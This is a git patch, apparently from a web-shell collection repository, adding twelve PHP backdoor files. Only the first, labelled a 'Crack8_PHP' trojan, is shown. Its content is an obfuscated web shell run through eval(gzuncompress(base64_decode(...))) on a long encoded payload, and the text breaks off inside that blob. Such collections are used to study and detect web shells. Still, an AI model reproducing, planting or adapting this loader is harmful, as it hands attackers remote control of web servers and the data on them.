From 614cab4a3de75f5699c50e8cf50fa0f9cde9ca44 Mon Sep 17 00:00:00 2001 From: tennc Date: Thu, 22 May 2014 09:22:57 +0800 Subject: [PATCH] add php shell --- php/BNKQbAKQ.txt | 14 + php/Crack8_PHP.txt | 5 + php/Resume.php.txt | 200 +++ php/oi.php.decode.txt | 3121 ++++++++++++++++++++++++++++++++++++++ php/oi.php.txt | 2 + php/priv95.php.txt | 17 + php/s.php.txt | 5 + php/sure.php_.txt | 3 + php/tiamo.php.decode.txt | 1533 +++++++++++++++++++ php/tiamo.php.txt | 2 + php/xiao.php.txt | 5 + php/yyihacker.php.txt | 2085 +++++++++++++++++++++++++ 12 files changed, 6992 insertions(+) create mode 100644 php/BNKQbAKQ.txt create mode 100644 php/Crack8_PHP.txt create mode 100644 php/Resume.php.txt create mode 100644 php/oi.php.decode.txt create mode 100644 php/oi.php.txt create mode 100644 php/priv95.php.txt create mode 100644 php/s.php.txt create mode 100644 php/sure.php_.txt create mode 100644 php/tiamo.php.decode.txt create mode 100644 php/tiamo.php.txt create mode 100644 php/xiao.php.txt create mode 100644 php/yyihacker.php.txt diff --git a/php/BNKQbAKQ.txt b/php/BNKQbAKQ.txt new file mode 100644 index 0000000..9408a60 --- /dev/null +++ b/php/BNKQbAKQ.txt @@ -0,0 +1,14 @@ +Crack8_PHP木马"; //设置版权 + eval(gzuncompress(base64_decode("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